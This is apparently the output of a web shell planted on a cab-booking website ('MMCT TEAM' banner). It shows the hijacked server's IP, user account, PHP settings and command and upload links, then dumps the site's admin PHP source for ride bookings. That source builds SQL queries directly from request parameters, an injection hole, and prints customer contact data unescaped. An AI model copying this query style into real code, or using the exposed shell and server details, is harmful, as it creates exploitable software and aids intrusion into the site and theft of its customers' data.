MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 3.16.57.110
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/cabz4you.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/cabz4you.com/public_html/admin/agent_ride_details.php
<?php
require_once 'header.php';
require_once 'navbar.php';
if(!isset($_GET['type']))
{
    header("location:404");
}

if(isset($_GET['ventor_id']))
{
    $v_id=$_GET['ventor_id'];
}


if($_SERVER["REQUEST_METHOD"] == "POST")
{
     if(isset($_POST['commition']))
    {
		 $commition=$_POST['commition'];
		 $booking_id=$_POST['pass_id'];
		 $sql="update bookings set admin_commission=$commition,status='vendor_pass' where id=$booking_id";
		 if($conn->query($sql)===true)
		 {
			 $success=true;
			 
			 $sql="select booking_from,booking_to from bookings where id=$booking_id";
			 $result = $conn->query($sql);
    			$book = $result->fetch_assoc();
				
			 $title="New Outstation Booking";
			 $content=$book['booking_from']." to ".$book['booking_to'];
			 pushapi($title,$content,$link);
	 }
	 }
	if(isset($_POST['custom_vendor']))
    {
		 $custom_vendor=$_POST['custom_vendor'];
		 $booking_id=$_POST['custom_id'];
		
		$commition=$_POST['comission'];
		$sql="update bookings set admin_commission=$commition,vendor_id=$custom_vendor,status='confirmed' where id=$booking_id";
		 if($conn->query($sql)===true)
		 {
		     	$sql="update vendor_profile set w_amount=w_amount-$commition where vendor_id=$custom_vendor";
		        if($conn->query($sql)===true)
		        {
		             // booking confirm id24 id
   			            $sql="Insert into transaction_log(vendor_id,amount,txn_type,action) values($custom_vendor,$commition,'Debit','Charges for booking confirmation give by admin)";
                        if($conn->query($sql)===true)
                        {
                             $success=true;
                        }
			       
		        }
		 }
		else
		{
			$error=true;
		}
		
	 }
}

 $sql="select bookings.*,payment_log.txn_amount,payment_log.booking_id,users.* from bookings,payment_log,users where users.id=bookings.user_id and  payment_log.txn_status is true and bookings.agent_id =$v_id and bookings.id=payment_log.booking_id";

$result = $conn->query($sql);

if ($result->num_rows > 0) {
    // output data of each row
    while($row = $result->fetch_assoc()) {
        $table_data[]=$row;
    }
}
//print_r($table_data);

 $sql2="select full_name,vendor_id,company_name from vendor_profile";
$result = $conn->query($sql2);
if ($result->num_rows > 0) {
    // output data of each row
    while($row = $result->fetch_assoc()) {
        $vendors[]=$row;
    }
}

?>

<head>
	<meta charset="utf-8">
	<meta content="width=device-width, initial-scale=1, shrink-to-fit=no" name="viewport">
	<meta content="Fully Responsive Bootstrap 4 Admin Dashboard Template" name="description">
	<meta content="Spruko" name="author">

	<!-- Title -->
	<title>Adon - Creative Admin Multipurpose Responsive Dashboard Template</title>

	<!-- Favicon -->
	<link href="assets/img/brand/favicon.png" rel="icon" type="image/png">

	<!-- Fonts -->
	<link href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800" rel="stylesheet">

	<!-- Icons -->
	<link href="assets/css/icons.css" rel="stylesheet">

	<!--Bootstrap.min css-->
	<link rel="stylesheet" href="assets/plugins/bootstrap/css/bootstrap.min.css">

	<!-- Adon CSS -->
	<link href="assets/css/dashboard.css" rel="stylesheet" type="text/css">

	<!-- Data table css -->
	<link href="assets/plugins/datatable/dataTables.bootstrap4.min.css" rel="stylesheet" />
	<link href="assets/plugins/datatable/responsivebootstrap4.min.css" rel="stylesheet" />

	<link href="assets/plugins/customscroll/jquery.mCustomScrollbar.css" rel="stylesheet" />

	<!-- Sidemenu Css -->
	<link href="assets/plugins/toggle-sidebar/css/sidemenu.css" rel="stylesheet">

</head>
<!-- Page content -->
						<div class="container-fluid pt-8">
							<div class="page-header mt-0  p-3">
								<h3 class="mb-sm-0"><?=ucwords($type);?> Bookings </h3>
								<ol class="breadcrumb mb-0">
									<li class="breadcrumb-item"><a href="#"><i class="fe fe-home"></i></a></li>
									<li class="breadcrumb-item active" aria-current="page"><?=ucwords($type);?> Bookings</li>
								</ol>
							</div>
							 <?php
			if(isset($success))
			{
				?>
			  <div class="alert alert-success" id="success">Success! Your Request has been submited.</div>
			<?php
			}
			else if(isset($error))
			{
				?>
			  <div class="alert alert-danger" id="success">Error! Your Request could not be submited.</div>
			<?php
			}
			?>
			<div class="alert " id="msg" style="display:none"></div>
								<div class="card shadow">
										
										<div class="card-body">
											<?php
                                            if(isset($table_data))
                                            {
                                                ?>
											<div class="table-responsive">
												<table id="example3" class="table table-striped table-bordered text-nowrap">
													<thead>
														<tr>
															<th class="wd-15p">S.No</th>
															<th class="wd-15p">From </th>
															<th class="wd-15p">To</th>
																<th class="wd-15p">Status</th>
															<th class="wd-15p">Pickup_date</th>
															<th class="wd-20p">pickup_time</th>
															<th class="wd-20p">Cab Type</th>
															<th class="wd-20p">Trip_type</th>
															<th class="wd-20p">Name</th>
															<th class="wd-20p">Contact</th>
															<th class="wd-20p">EMail</th>
															<th class="wd-20p">Alt Contact</th>
															<th class="wd-15p">Amount</th>
															<th class="wd-15p">Booking Amount</th>
															<th class="wd-15p">Balance Amount</th>
															<th class="wd-15p">Your Commission</th>
															<th class="wd-15p">Pickup Address</th>
															<th class="wd-15p">Toll Tax</th>
															<th class="wd-15p">Night Charge</th>
															<th class="wd-15p">Vendor id</th>
															<th class="wd-15p">cab Id</th>
															<th class="wd-15p">Driver id</th>
															
															<th class="wd-10p">action</th>
														</tr>
													</thead>
														<tbody>
													<?php
                                                $x=1;
                                                        foreach($table_data as $hh)
                                                        {
                                                            ?>
														<tr id="row<?=$hh['booking_id'];?>">
															<td><?=$x;?></td>
															<td><?=$hh['booking_from']?></td>
															<td><?=$hh['booking_to'];?></td>
																<td><?=$hh['status'];?></td>
															<td><?=$hh['pickup_date'];?></td>
															<td><?=date("h:i A",strtotime($hh['pickup_time']));?></td>
															<td><?=$hh['cab_type'];?></td>
															<td><?=$hh['trip_type'];?></td>
															<td><?=$hh['name'];?></td>
															<td><?=$hh['contact'];?></td>
															<td><?=$hh['email'];?></td>
															<td><?=$hh['alt_contact'];?></td>
															<td><?=$hh['price'];?></td>
															<td><?=$hh['txn_amount'];?></td>
															<td><?=$hh['price']-$hh['txn_amount'];?></td>
															<td><?=$hh['admin_commission'];?></td>
															<td><?=$hh['pickup_address'];?></td>
															<td>
															    <?php if($hh['toll_tax']) echo "including"; else echo "excluding" ?>
															 </td>
															 <td>
															     <?=$hh['night_charge'];?>
															 </td>
																	<td><a href="edit_vendor?token=<?=$hh['vendor_id'];?>" target="_blank"><?=$hh['vendor_id'];?></a></td>
															<?php
															if($hh['cab_id']!=0 && $hh['driver_id']!=0)
															{
															    $cab=$hh['cab_id'];
															$k=$hh['driver_id'];
													    $sql="select driver_name,contact,cab_name as cc,rc_no from drivers,cabs where cabs.id= $cab and drivers.id=$k;";
										$result = $conn->query($sql);
										$ss = $result->fetch_assoc();
										?>
									
										<td><?=$ss['cc'].", ".$ss['rc_no'];?></td>
											<td><?=$ss['driver_name'].",".$ss['contact'];?></td>
										<?php
										
										
															}
															else
															{
															    ?>
															    <td>Not Found.</td>
										<td>Not Found.</td>
															    <?php
															}
															?>
													
															<td>
																<?php
														
															if(isset($one))
															{
																?>
																<button id="<?=$hh['booking_id'];?>" onclick="confirm_booking(this.value,this.id)" value="pass" class="btn btn-icon btn-pill btn-primary" type="button">
																	Pass
																</button>
                                            					<button id="<?=$hh['booking_id'];?>" onclick="confirm_booking(this.value,this.id);" value="custom" class="btn btn-icon btn-pill btn-warning mt-1 mb-1" type="button">
																	Custom
																</button>
																
																	<button id="<?=$hh['booking_id'];?>" onclick="cancel_booking(this.id);" class="btn btn-icon btn-pill btn-warning mt-1 mb-1" type="button">
														Cancel Ride
																</button>
																<?php
															}
															
															if($type=='processing')
															{
															   
																if($hh['driver_id']==0 && $hh['cab_id']==0)
																{
																	echo "Driver not found";
																}
																else
																{
															    ?>
															    <button  onclick="complete(this.value)" value="<?=$hh['booking_id'];?>" class="btn btn-icon btn-pill btn-primary mt-1 mb-1" type="button">Complete Ride 
															          </button>
															          
															      <button  onclick="passinfo(this.value)" value="<?=$hh['booking_id'];?>" class="btn btn-icon btn-pill btn-success mt-1 mb-1" type="button">Information Pass
															          </button>
															    <?php
																}
																?>
															    <button id="<?=$hh['booking_id'];?>" onclick="confirm_booking(this.value,this.id);" value="custom" class="btn btn-icon btn-pill btn-warning mt-1 mb-1" type="button"><?php
														 if($hh['vendor_id']==0)
															    {
															     echo "Add Vendor";
															    }
															    else
															    {
															        echo "Change Vendor";
															        
															    }
															    ?>
																</button>
																	<button id="<?=$hh['booking_id'];?>" onclick="cancel_booking(this.id);" class="btn btn-icon btn-pill btn-warning mt-1 mb-1" type="button">
														Cancel Ride
																</button>
																<?php
															}
															else if($type=='vendor_pass')
															{
															   ?>
															   	<button id="<?=$hh['booking_id'];?>" onclick="confirm_booking(this.value,this.id);" value="custom" class="btn btn-icon btn-pill btn-warning mt-1 mb-1" type="button">
																<?php
															if($hh['vendor_id']==0){
															   echo  "Custom Vendor";
															}
															else
															{
															    echo "Change Vendor";
															}
															?>	</button>
																
																	<button id="<?=$hh['booking_id'];?>" onclick="cancel_booking(this.id);" class="btn btn-icon btn-pill btn-warning mt-1 mb-1" type="button">
														Cancel Ride
																</button>
															   <?php
															}
															
															?>
                                                    		</td>
														</tr>
													<?php
                                                            $x++;
                                                        }
                                                ?>
													</tbody>
												</table>
											</div>
											<?php
                                            }
                                            else
                                            {
                                                echo "<h2>No Record Found.</h2>";
                                            }
                                            ?>
									</div>
							</div>
</div>
                        
	<!--Add Modal To Display-->
<div class="modal fade" id="confirm" style="z-index:99999999">
    <div class="modal-dialog">
        <div class="modal-content">
          <div class="card-header">
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
              <span aria-hidden="true">&times;</span>
            </button>
               <div class="alert alert-danger"   id="error" style="display:none">Error! Your Request could not be submited.</div>
               
              <h4 style="text-align: left">Pass this ride to all vendors</h4><div class="col-md-6 float-right" id="alert"></div>
          </div> 
          <form method="post" id="add_vendor">
          <div class="modal-body" id="display-modal">
			  
			  <!-- div when the admin pass the ride all vendor-->
              <div class="row" id="pass" style="display:none">
				  <form method="post">
                 <div class="col-md-12">
                      <label>Enter your commission :</label><input  type="text" class="form-control" name="commition" required>
                      <input  type="hidden" name="pass_id" id="pass_id" required>
                  </div>
				   <div class="col-md-12">
					   <br>
					   <button type="submit" name="request" id="pass_id" class="btn btn-primary"style="float:right" >Add</button>
				  </div>
				  </form>
			  </div>
			  
			  <!-- div when the admin select the custom vendor-->
			  <form method="post">
			  <div class="row" id="custom" style="display:none">
                  
                  <div class="col-md-6">
                       <label>Please Select Custom Vendor:</label>
					     <input  type="hidden" name="custom_id"style="float:right" id="custom_id" required>
                       <select name="custom_vendor" class="form-control">
                           <option value="0"  >Select Vendor</option>
                            <?php
                            foreach ($vendors as $vendor)
                            {
                            ?>
                              <option value="<?=$vendor['vendor_id'];?>"><?=$vendor['full_name'];?></option>
                            <?php
                            }
                            ?>
                       </select>
                  </div>
                  
                  <div class="col-md-6">
                      <label>Please Enter your Commission:</label>
                      <input type="number" class="form-control" id="commission" name="comission" value="0">
                  </div>
				   <div class="col-md-12">
				       <br>
					   <button type="submit"  name="request" id="add" class="btn btn-primary" style="float:right">Add</button>
				  </div>
				  
              </div>
              </form>
            </div>
            </form>
        </div>
    <!-- /.modal-content -->
    </div>
<!-- /.modal-dialog -->
</div>						
<?php 
require_once 'footer.php';
//require_once 'jslinks.php';
?>							

	<!-- Adon Scripts -->
	<!-- Core -->
	<script src="assets/plugins/jquery/dist/jquery.min.js"></script>
	<script src="assets/js/popper.js"></script>
	<script src="assets/plugins/bootstrap/js/bootstrap.min.js"></script>

	<!-- Optional JS -->
	<script src="assets/plugins/chart.js/dist/Chart.min.js"></script>
	<script src="assets/plugins/chart.js/dist/Chart.extension.js"></script>

	<!-- Data tables -->
	<script src="assets/plugins/datatable/jquery.dataTables.min.js"></script>
	<script src="assets/plugins/datatable/dataTables.bootstrap4.min.js"></script>
	<script src="assets/plugins/datatable/dataTables.responsive.min.js"></script>
	<script src="assets/plugins/datatable/responsive.bootstrap4.min.js"></script>

	<!-- Fullside-menu Js-->
	<script src="assets/plugins/toggle-sidebar/js/sidemenu.js"></script>

	<!-- Custom scroll bar Js-->
	<script src="assets/plugins/customscroll/jquery.mCustomScrollbar.concat.min.js"></script>

	<!-- Adon JS -->
	<script src="assets/js/custom.js"></script>
	<script src="assets/js/datatable.js"></script>


	<script>
		var i;
		
		//function for pass the informatio between user and driver
		function passinfo(str)
    	{
         	var confir=confirm("Are you sure to pass information to this ride?");
        	if(confir)
        	{
            	$.ajax({
                type:"POST",
                url:"ajax_passinfo.php",
                data:{
                    'booking_id':str,
                },
                success:function(data)
                {
                    var x = JSON.parse(data);
                    if(x.msg=="ok")
                    {
                        $(".dtr-bs-modal").modal('toggle');
                        $("#msg").addClass(" alert-success");
                        $("#msg").css('display','block');
                        $("#msg").text("Success! Ride information successfully passed");
                    }
                   
                  
                }
                
            });
        }
    }
	
	//complate ride
	
	function complete(str)
    	{
         	var confir=confirm("Are you sure to complete to this ride?");
        	if(confir)
        	{
            	$.ajax({
                type:"POST",
                url:"ajax_complete.php",
                data:{
                    'booking_id':str,
                },
                success:function(data)
                {
                    var x = JSON.parse(data);
                    if(x.msg=="ok")
                    {
                       location.reload(); 
                    }
                    else
                    {
                        $(".dtr-bs-modal").modal('toggle');
                        $("#msg").addClass(" alert-danger");
                        $("#msg").show();
                    }
                   
                  
                }
                
            });
        }
    }
	
	
	//function for click booking confirm
	/*
	function confirm_booking(str,ee)
	{
		if(str=='pass')
			{
				$('#pass').show();
				$('#custom').hide();
				$('#confirm').modal('show');
				document.getElementById('pass_id').value=ee;
				
			}
		else if(str=='custom')
			{
				$('#custom').show();
				$('#pass').hide();
				$('#confirm').modal('show');
				document.getElementById('custom_id').value=ee;
			}
	}
	*/
	
	//function for cancel the booking
    function cancel_booking(booking_id)
    {
        var confir=confirm("Are you sure to cancel this ride");
        if(confir)
        {
            $.ajax({
                type:"POST",
                url:"ajax_cancel_booking.php",
                data:{
                    'cancel_id':booking_id,
                },
                success:function(data)
                {
                    var x = JSON.parse(data);
                    if(x.msg=="ok")
                    {
                        $(".dtr-bs-modal").modal('toggle');
                        $("#msg").addClass(" alert-success");
                        $("#msg").css('display','block');
                        $("#msg").text("Succes! Your booking has been cancelled");
                        $("#row"+booking_id).remove();
                    }
                    else
                    {
                        $(".dtr-bs-modal").modal('toggle');
                        $("#msg").addClass(" alert-danger");
                        $("#msg").show();
                        $("#msg").text(x.msg);
                    }
                  
                }
                
            });
        }
    }
    
    
</script>

MMCT - 2023